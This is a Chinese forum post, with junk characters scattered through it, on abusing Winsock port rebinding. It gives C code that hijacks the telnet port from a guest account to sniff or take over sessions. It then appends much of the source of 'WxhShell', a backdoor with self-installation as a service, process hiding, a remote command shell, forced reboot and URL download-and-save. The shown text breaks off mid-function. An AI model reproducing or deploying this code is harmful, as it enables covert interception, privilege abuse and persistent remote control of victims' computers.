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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $j.;$~F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7%i'F=LzT  
hqvhnqQk  
  saddr.sin_family = AF_INET; V!+iq*Z|=  
$C;i}q#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b^Z2Vf:k]  
G;}WZy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D[/fs`XES  
?@9v+Am!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6X*vCylI  
Ku l<Q<  
  这意味着什么?意味着可以进行如下的攻击: 3e&+[j  
Yi%lWbr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (|K+1R  
<Z:FY|'s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B=TUZ)  
oI{.{]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hK3-j;eg  
x<gmDy*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yws'}{8  
Kf:!tRE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tse#{  
GIM/T4!)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q$:7j5E  
5_aj]"x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +PjTT6  
x 4+WZYv3  
  #include YWK0.F,8a  
  #include =U3S"W %  
  #include ;[}OZt  
  #include    f%,S::%Ea  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \Nt 5TG_  
  int main() K9#kdo1 2  
  { ?Ts]zO%%Z  
  WORD wVersionRequested; Gk*u^J(  
  DWORD ret; IQPu%n{0v  
  WSADATA wsaData; oZiW4z*Wh  
  BOOL val; k~8-E u1  
  SOCKADDR_IN saddr; m"n74 cxS  
  SOCKADDR_IN scaddr; hn8xs5vN  
  int err; -lhIL}mGf  
  SOCKET s; ]ZcivnN#  
  SOCKET sc; x vs=T  
  int caddsize; MW 7~=T  
  HANDLE mt; * @4@eQF  
  DWORD tid;   -`PziG l@<  
  wVersionRequested = MAKEWORD( 2, 2 ); H%O\4V2s  
  err = WSAStartup( wVersionRequested, &wsaData ); Y1-dpML  
  if ( err != 0 ) { <{kPa_`'  
  printf("error!WSAStartup failed!\n"); _u[tv,  
  return -1; 1?Y>Xz  
  } <-v zS;  
  saddr.sin_family = AF_INET; m[}k]PB>  
   LeLUt<4~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jw:z2:0~  
l<+ [l$0#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]eKuR"ob0  
  saddr.sin_port = htons(23); qS vV |G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :hZM$4  
  { ]o<]A[<  
  printf("error!socket failed!\n"); BYq80Vk%@  
  return -1; mKZzSd)p  
  } eTa_RO,x  
  val = TRUE; @:}c(j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y|6n:<o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .G[/4h :.  
  { nqo{]fn  
  printf("error!setsockopt failed!\n"); ='h2z"}\Bn  
  return -1; xJCx zJ  
  } :*}Q/]N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i//H5D3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ASt&'E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c*)T4n[e  
f kZHy|m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  g{Hgs  
  { Me .I>7c  
  ret=GetLastError(); s(=wG|   
  printf("error!bind failed!\n"); G!Zb27u+  
  return -1; 5bLNQz\WJ  
  } 1p}H,\o  
  listen(s,2); |(.\J`_e  
  while(1) Z_q+Ac{p  
  { =P(*j7=  
  caddsize = sizeof(scaddr); f!x9%  
  //接受连接请求 ZA(u"T~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z~J]I|R:  
  if(sc!=INVALID_SOCKET) r^~+ <"  
  { >5CK&6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e=0]8l>\V  
  if(mt==NULL) %y RGN  
  { 3ay},3MCV%  
  printf("Thread Creat Failed!\n"); ?@rd,:'dE  
  break; i(j/C  
  } ]{1{XIF  
  } v$]B;;[A  
  CloseHandle(mt); f7x2"&?vg  
  } 'zI(OnIS  
  closesocket(s); pa!BJ]~  
  WSACleanup(); %+~\I\)1  
  return 0; ]>X_E%`G<b  
  }   _9h$8(wjn  
  DWORD WINAPI ClientThread(LPVOID lpParam) [J,.?'V  
  { (DiduSJ  
  SOCKET ss = (SOCKET)lpParam; ?@'&<o0p#  
  SOCKET sc; aD: #AmbJ  
  unsigned char buf[4096]; [~9UsHfH  
  SOCKADDR_IN saddr; O52 /fGt  
  long num; x"b'Pmw  
  DWORD val; :AzT=^S  
  DWORD ret; P 2WAnm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l!tR<$|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IbI0".o  
  saddr.sin_family = AF_INET; GKt."[seV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yqx5_}  
  saddr.sin_port = htons(23); `;UWq{"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  pQiC#4b  
  { ]DNPG"  
  printf("error!socket failed!\n"); \qG ?'Iy  
  return -1; bIU.C|h@  
  } (7R?T}  
  val = 100; y#GHmHeh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cy;UyZ  
  { q}LDFsU  
  ret = GetLastError(); i\sBey ND"  
  return -1; >bW=oTFz  
  } T-] {gc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E.K^v/dNdq  
  { joe)b  
  ret = GetLastError(); d/; tq  
  return -1; "`% ,l|D  
  } [M\ an6h6O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3x[C pg,  
  { t7]j6>MK3q  
  printf("error!socket connect failed!\n"); ;u<Ah?w=Z  
  closesocket(sc); <X)\P}"L4  
  closesocket(ss); /*#o1W?wQZ  
  return -1; ^FLs_=E  
  } :{%[6lE^G  
  while(1) 2^o7 ^S  
  { es)^^kGj6f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tkj-.~@g0'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  >. K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 flmQNrC.8  
  num = recv(ss,buf,4096,0); \FsA-W\X  
  if(num>0) 0/GBs~P  
  send(sc,buf,num,0);  @lN\.O  
  else if(num==0) iHPsRq!  
  break; $*0-+h  
  num = recv(sc,buf,4096,0); ^\}qq>_  
  if(num>0) m4/qxm"Dx:  
  send(ss,buf,num,0); Vm%G q  
  else if(num==0) ~F,~^r!Jtu  
  break; '[ #y|  
  } AT&K>NG  
  closesocket(ss); eAlOMSL\  
  closesocket(sc); @62,.\F  
  return 0 ; EZ<:>V-_D  
  } 'zYS:W  
Skt-5S#  
wMVUTm  
========================================================== $?56 i4  
n4{%M  
下边附上一个代码,,WXhSHELL cfIC(d  
;I4vPh5Q  
========================================================== e8vy29\S  
p~w] ~\  
#include "stdafx.h" <st<oR'  
roQI;gq^  
#include <stdio.h> W![K#r5T  
#include <string.h> V ?Jy  
#include <windows.h> $S#Z>d*1!  
#include <winsock2.h> ^2k jO/  
#include <winsvc.h> ce;7  
#include <urlmon.h> HP8J\`  
R%jOgZG  
#pragma comment (lib, "Ws2_32.lib") z x-[@G  
#pragma comment (lib, "urlmon.lib") j}uL  
>?@5>wF  
#define MAX_USER   100 // 最大客户端连接数 u}%OC43  
#define BUF_SOCK   200 // sock buffer VEgtN}  
#define KEY_BUFF   255 // 输入 buffer Q5ASN"_  
 R0Vt_7  
#define REBOOT     0   // 重启 7fR5V  
#define SHUTDOWN   1   // 关机 HA0!>_I dC  
Jw]!x1rF~  
#define DEF_PORT   5000 // 监听端口 W:i Q& [f  
$}&a*c>  
#define REG_LEN     16   // 注册表键长度 c]M+|R5  
#define SVC_LEN     80   // NT服务名长度 U"r*kO%  
. Vb|le(7  
// 从dll定义API @ [;'b$T$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9)VAEyv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3RtVFDIZA"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hi"C<b.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6$b =Tr=0  
!{-W%=Kf  
// wxhshell配置信息 {?`rGJ{f  
struct WSCFG { (7g"ppf  
  int ws_port;         // 监听端口 A]bQUWt2  
  char ws_passstr[REG_LEN]; // 口令 zQ=b|p]|W  
  int ws_autoins;       // 安装标记, 1=yes 0=no (,I:m[0  
  char ws_regname[REG_LEN]; // 注册表键名 C'I&<  
  char ws_svcname[REG_LEN]; // 服务名 sx#O3*'>1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DSLX/u o1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XY'=_5t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _x.2&S89  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .+9*5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -PPwX~;!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F7<mm7BGZ  
(u 7Lh>6%  
}; 6y^ zC?  
\Eh5g/,[  
// default Wxhshell configuration +ay C 0  
struct WSCFG wscfg={DEF_PORT, LaJvPOQ  
    "xuhuanlingzhe", J&aN6l?  
    1, J2Dn  
    "Wxhshell", @(#vg\UH  
    "Wxhshell", PlB3"{}0Q  
            "WxhShell Service", *O$|,EsY  
    "Wrsky Windows CmdShell Service", A"7YkOfwH  
    "Please Input Your Password: ", WR #XPbk  
  1, D|5mNX %e  
  "http://www.wrsky.com/wxhshell.exe", A$wC !P|;  
  "Wxhshell.exe" =aVvv+T  
    }; % G!!0V!  
*P' X[z  
// 消息定义模块 p7YYAh@x\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k1z`92"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lj]M 1zEz&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v`oilsrc  
char *msg_ws_ext="\n\rExit."; bD,21,*z  
char *msg_ws_end="\n\rQuit."; Tt~4'{Bc  
char *msg_ws_boot="\n\rReboot..."; yP]>eLTSd  
char *msg_ws_poff="\n\rShutdown..."; /H<{p$Wd  
char *msg_ws_down="\n\rSave to "; T9c7cp[  
U '{PpZ  
char *msg_ws_err="\n\rErr!"; &0T.o,&y  
char *msg_ws_ok="\n\rOK!"; V=ll 9M  
9y7hJib  
char ExeFile[MAX_PATH]; q_[y|ETJ]  
int nUser = 0; ]+e zg(C}  
HANDLE handles[MAX_USER]; (3N/DY1/  
int OsIsNt; 3f5YPf2u  
.f$2-5q  
SERVICE_STATUS       serviceStatus; XuP%/\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3N >V sl  
W"%n5)  
// 函数声明 .gy:Pl]w  
int Install(void); {m U%.5  
int Uninstall(void); @]Vcl"t  
int DownloadFile(char *sURL, SOCKET wsh); jga; q  
int Boot(int flag); |}d^lQ9  
void HideProc(void); B*G]Dr)e  
int GetOsVer(void); QuS=^,]  
int Wxhshell(SOCKET wsl); 9po=[{Bp  
void TalkWithClient(void *cs); QP(d77 n  
int CmdShell(SOCKET sock); _gVihu  
int StartFromService(void); ;.jj>1=Tnl  
int StartWxhshell(LPSTR lpCmdLine); BZ\="N#f  
KOg,V_(I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]ttF''lH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vL_yM  
! #Pn_e  
// 数据结构和表定义 %scw]oF  
SERVICE_TABLE_ENTRY DispatchTable[] = B6F!"  
{ 551_;,t  
{wscfg.ws_svcname, NTServiceMain}, x6K_!L*Fx]  
{NULL, NULL} 2Ug_3ZuU  
}; S<(i/5Z+  
d\qszYP[  
// 自我安装 pq0Z<b;2  
int Install(void) .+>fD0fW7Y  
{ fm Yx  
  char svExeFile[MAX_PATH]; /'8%=$2Kw  
  HKEY key; /[ m7~B]QE  
  strcpy(svExeFile,ExeFile); qD%88c)g  
n_{&dVE  
// 如果是win9x系统,修改注册表设为自启动 J-+mdA  
if(!OsIsNt) { Dh^l :q+c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7y^)n<'co  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2+ u+9rW  
  RegCloseKey(key); @~gPZm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d%}?%VH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $/^Y(0  
  RegCloseKey(key); GQg 2!s(  
  return 0; DvhF CA}z  
    } 1[OY- G  
  } "#Z e3Uy\  
} :[l}Bb,  
else { $-DW+|p.?^  
zji9\  
// 如果是NT以上系统,安装为系统服务 eLT3b6'"?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ty!DMg#  
if (schSCManager!=0) 6\l F  
{ t _ CMsp  
  SC_HANDLE schService = CreateService #>_t[9;  
  ( mqeW,89  
  schSCManager, ();Z,A  
  wscfg.ws_svcname, ecm+33C  
  wscfg.ws_svcdisp, >W+,(kAS  
  SERVICE_ALL_ACCESS, e}O&_ j-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )T '?"guh`  
  SERVICE_AUTO_START, -0a3eg)Z*  
  SERVICE_ERROR_NORMAL, ZWGelZP~  
  svExeFile, b w1s?_P  
  NULL, {31X  
  NULL, eAO@B  
  NULL, G>^= Bm_$  
  NULL, bh" Caz.(t  
  NULL zk }SEt-  
  ); 5[\g87 \  
  if (schService!=0) bLl ?!G.  
  { PU ea`rE?R  
  CloseServiceHandle(schService); ]l }v  
  CloseServiceHandle(schSCManager); \Uh/(q7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8;~,jZ s  
  strcat(svExeFile,wscfg.ws_svcname); W' Y<iA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {B=64,D^7R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YeJTB}  
  RegCloseKey(key); *} *HXE5  
  return 0; ,PpVZq~  
    } Y<^Or  
  } Up-^km  
  CloseServiceHandle(schSCManager); yo5-x"ze  
} /p;OZf]  
} GQ Flt_  
k'.cl^6Z8  
return 1; 'n{=`e(}cI  
} (xfy?N  
Q$Qr)mcC  
// 自我卸载 :V"e+I  
int Uninstall(void) xz:  
{ "@ZwDg`  
  HKEY key; TH>uL;?=  
@6_w{6:b  
if(!OsIsNt) { WjVm{7?{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ )X(Qtk  
  RegDeleteValue(key,wscfg.ws_regname); Z>`frL  
  RegCloseKey(key); ,X| >d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kFQo[O]  
  RegDeleteValue(key,wscfg.ws_regname); G{pF! q  
  RegCloseKey(key);  ]x1ba_  
  return 0; K\}qY dPF  
  } C^JtJv  
} U0|wC,7"  
} WO69Wo\C  
else { M$v\7vBgO!  
Ai%Wt-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FBi&M Z`  
if (schSCManager!=0) n%2c<@p#  
{ *` -  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q%s<y+  
  if (schService!=0) Yh,,(V6  
  { aEUEy:.  
  if(DeleteService(schService)!=0) { heES [  
  CloseServiceHandle(schService); =J-&usX  
  CloseServiceHandle(schSCManager); % T$!I(L&  
  return 0; *ax&}AHK[/  
  } }uD*\.  
  CloseServiceHandle(schService); ZDK+>^A)  
  } FKtCUq,:  
  CloseServiceHandle(schSCManager); W)2k>cS  
} laCVj6Rk  
} Nc EPPl 0I  
zcV~)go6  
return 1; *wdNZ  
} 3cqc<  
M%13b$i~f  
// 从指定url下载文件 J"eE9FLM  
int DownloadFile(char *sURL, SOCKET wsh) RXO}mu]Iu  
{ M&(0n?R"R  
  HRESULT hr; 7 A{R0@  
char seps[]= "/"; P`CQ)o  
char *token; 9$sx+=(  
char *file; [2!?pVI  
char myURL[MAX_PATH]; *[3tGiUJ  
char myFILE[MAX_PATH]; fn//j7 j  
F{&0(6^p!  
strcpy(myURL,sURL); BC%V<6JBu(  
  token=strtok(myURL,seps); 2Zq_zvKUt  
  while(token!=NULL) ;k1VY Ie}  
  { #%CB`l  
    file=token; <7%#RJwe  
  token=strtok(NULL,seps); Zh:@A Fz:R  
  } W1}d6Sbg  
=b3<}]  
GetCurrentDirectory(MAX_PATH,myFILE); -!j5j:RR  
strcat(myFILE, "\\"); ,PWMl [X  
strcat(myFILE, file); 0VgsV;  
  send(wsh,myFILE,strlen(myFILE),0);  *% ]&5  
send(wsh,"...",3,0); w`Cs,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {bNKyT  
  if(hr==S_OK) =, U~  
return 0; Cj)*JZV G  
else -C* UB  
return 1; .A6Jj4`-  
?Ql<s8  
} |dqAT.  
K}dvXO@=|c  
// 系统电源模块 D<4cpH  
int Boot(int flag) x*_'uPo S  
{ &K"qnng/y  
  HANDLE hToken; lt C  
  TOKEN_PRIVILEGES tkp; > {h/4T@  
/a-OB U  
  if(OsIsNt) { 7@!ne&8Z?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Ehe8,=fj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dEoW8 M#  
    tkp.PrivilegeCount = 1; ' '|R$9\@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r[&/* ~xL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /:w.Zf>B9  
if(flag==REBOOT) { KFHcHz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C/z0/mk  
  return 0; KupQtT<  
} {@67'jL  
else { PAjH*5I A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0e~4(2xK  
  return 0; 3AC/;WB9  
} \avgXndI  
  } Z&Z= 24q_  
  else { N9AM% H$7  
if(flag==REBOOT) { s+ ]6X*)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HqKD]1  
  return 0; 4q`e<!MP)q  
} ,6T3:qkkvF  
else { ET=-r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {r[g.@  
  return 0; X_J(P?  
} $-BM`Zt0;  
} }FAO.  
D]5cijO6  
return 1; 5uvFCY./c  
} II}3w#r4  
ujoJ6UOG  
// win9x进程隐藏模块 F@@6D0\X?  
void HideProc(void) @O&;%IZMY  
{ G+W0X  
"D/\&1.&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iriF'(1  
  if ( hKernel != NULL ) /c52w"WW  
  { {b]V e/\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l 1Ns~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Im{-t  
    FreeLibrary(hKernel); Ub*O*nre  
  } CW;=q[+w  
hT$/B|  
return; CoQ<Ky}*  
} .hytn`+9  
b#{[Pk,w9  
// 获取操作系统版本 ]@mV9:n{  
int GetOsVer(void) 0r'<aA`=I  
{ 3q$"`w  
  OSVERSIONINFO winfo; L 3^+`e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A{KF<Omu  
  GetVersionEx(&winfo); i|OG#PsY-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~_hn{Ou s  
  return 1; (GDW9:  
  else H6%%n X  
  return 0; CUZ ;<Pn  
} \6c8Lqa  
t8upS u|  
// 客户端句柄模块 ~"#[<d  
int Wxhshell(SOCKET wsl) 1usLCG>w{  
{ 9/I|oh_ G  
  SOCKET wsh; w4\g]\  
  struct sockaddr_in client; /4#A|;d_  
  DWORD myID; z(_#C s  
;UDd4@3`S"  
  while(nUser<MAX_USER) KMogwulG  
{ ?CUGJT  
  int nSize=sizeof(client); Tn 3<cO7v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u|D|pRM-LT  
  if(wsh==INVALID_SOCKET) return 1; ;*409 P  
8k -l`O~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Jdji:  
if(handles[nUser]==0) vSG$ 2g=  
  closesocket(wsh); )l"py9STF  
else o[E|xw  
  nUser++; 6,UW5389  
  } };s8xGW:k3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7xy[;  
1;N5@0%p  
  return 0; E [b6k&A  
} 1|/]bffg!c  
iF'qaqHWY4  
// 关闭 socket !1cVg ls|  
void CloseIt(SOCKET wsh) "kg;fF|  
{ Tg|/UUn  
closesocket(wsh); [5sa1$n96G  
nUser--; s'yT}XQ;r  
ExitThread(0); b1ma(8{{{  
} 3"y,Ut KGa  
Ht=h9}x"g  
// 客户端请求句柄 }D\i1/Y  
void TalkWithClient(void *cs) ~_Q1+ax}  
{ W"*~1$vf  
,"EgYd8-'  
  SOCKET wsh=(SOCKET)cs; 86 <[!ZM  
  char pwd[SVC_LEN]; -"MB(`  
  char cmd[KEY_BUFF]; }0z]sYI  
char chr[1]; g|rbkK%SoE  
int i,j; kKEs >a  
s2ixiv=  
  while (nUser < MAX_USER) { c&a.<e3mL  
b?{\t;  
if(wscfg.ws_passstr) { < k?jt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?kKr/f4N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U>=& 2Z2?  
  //ZeroMemory(pwd,KEY_BUFF); Hklgf  
      i=0; >%{H>?Hn  
  while(i<SVC_LEN) { (nLT 8{>0  
`M.\D  
  // 设置超时 t,vj)|:  
  fd_set FdRead; S1D=' k]  
  struct timeval TimeOut; 65||]l  
  FD_ZERO(&FdRead); rf]'V Jg#3  
  FD_SET(wsh,&FdRead); ?A`8c R=)I  
  TimeOut.tv_sec=8; c#YW>(  
  TimeOut.tv_usec=0; U9eb&nd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aokV'6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &yN/ AY`U  
HH3Ln+AWg_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7ajkp+E6  
  pwd=chr[0]; .`Rju|l  
  if(chr[0]==0xd || chr[0]==0xa) { nYbI =_-  
  pwd=0; A4`3yy{0-  
  break; z)&ZoSXWc  
  } ^7>k:|7-t  
  i++; IMtfi(Y%F  
    } "D1u2>(  
i]M:ntB"  
  // 如果是非法用户,关闭 socket * j]"I=D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X[r\ Qa  
} '|^<|S_+K  
nht?58  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2~(\d\k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h1+lVAQbT  
E[kf%\  
while(1) { (Y>|P  
dAkJ5\=*  
  ZeroMemory(cmd,KEY_BUFF); 052e zh_  
lZf=#  
      // 自动支持客户端 telnet标准   1K&l}/zUl  
  j=0; |\k,qVQ  
  while(j<KEY_BUFF) { g\ q*,1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PG*:3![2  
  cmd[j]=chr[0]; I' TprT  
  if(chr[0]==0xa || chr[0]==0xd) { asd3J  
  cmd[j]=0; Xah-*]ET  
  break; M:QM*?+)  
  } 3yp?|> e  
  j++; L j>HZS$F  
    } O|I)HpG;  
LL"c 9jb4z  
  // 下载文件 j8#xNA  
  if(strstr(cmd,"http://")) { ])3(@.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lPO +dm  
  if(DownloadFile(cmd,wsh)) uEX+j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vE<z0l  
  else GZCXm+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0V[`zOO(o  
  } 1Q>D^yPI[  
  else { Y `ySNC  
E@%9u#  
    switch(cmd[0]) { Tw+V$:$$  
  nXFPoR)T  
  // 帮助 R7Z7o4jg  
  case '?': { "B3&v%b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \~~y1.,U.  
    break; sm9/sX!  
  } u-%|ZSg  
  // 安装 !Un &OAy.!  
  case 'i': { _Z{EO|L  
    if(Install()) P'Diie  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8k|&&3_[?  
    else [,86||^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dDxb}d x8  
    break; 5g\>x;cc  
    } @4xV3Xkf&C  
  // 卸载 .bloaeu-  
  case 'r': { )Lb?ZXT3  
    if(Uninstall()) }K'gjs/N;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |rr<4>)X  
    else fs,]%g^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jhF&   
    break; :HW\awv  
    } PPMAj@B}V  
  // 显示 wxhshell 所在路径 >^N{  
  case 'p': { &8xwR   
    char svExeFile[MAX_PATH];  3<R8_p  
    strcpy(svExeFile,"\n\r"); lGZf_X)gA^  
      strcat(svExeFile,ExeFile); XSoHh-  
        send(wsh,svExeFile,strlen(svExeFile),0); 4Mck/i2  
    break; Iy8fN"I9D  
    } N.D7  
  // 重启 QpI\\Zt6  
  case 'b': { lV M )'m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ONU,R\jMb-  
    if(Boot(REBOOT)) 7Adg;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6x$R O!  
    else { o>i@2_r\&H  
    closesocket(wsh); Lh;U2pA  
    ExitThread(0); )~2~q7  
    } 7GG:1:2+>  
    break; EV.F/W h  
    } zz* *HwRt  
  // 关机 [ @ASAhV^+  
  case 'd': { Sk7sxy<F'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rm?C_  
    if(Boot(SHUTDOWN)) UVlh7wjg  
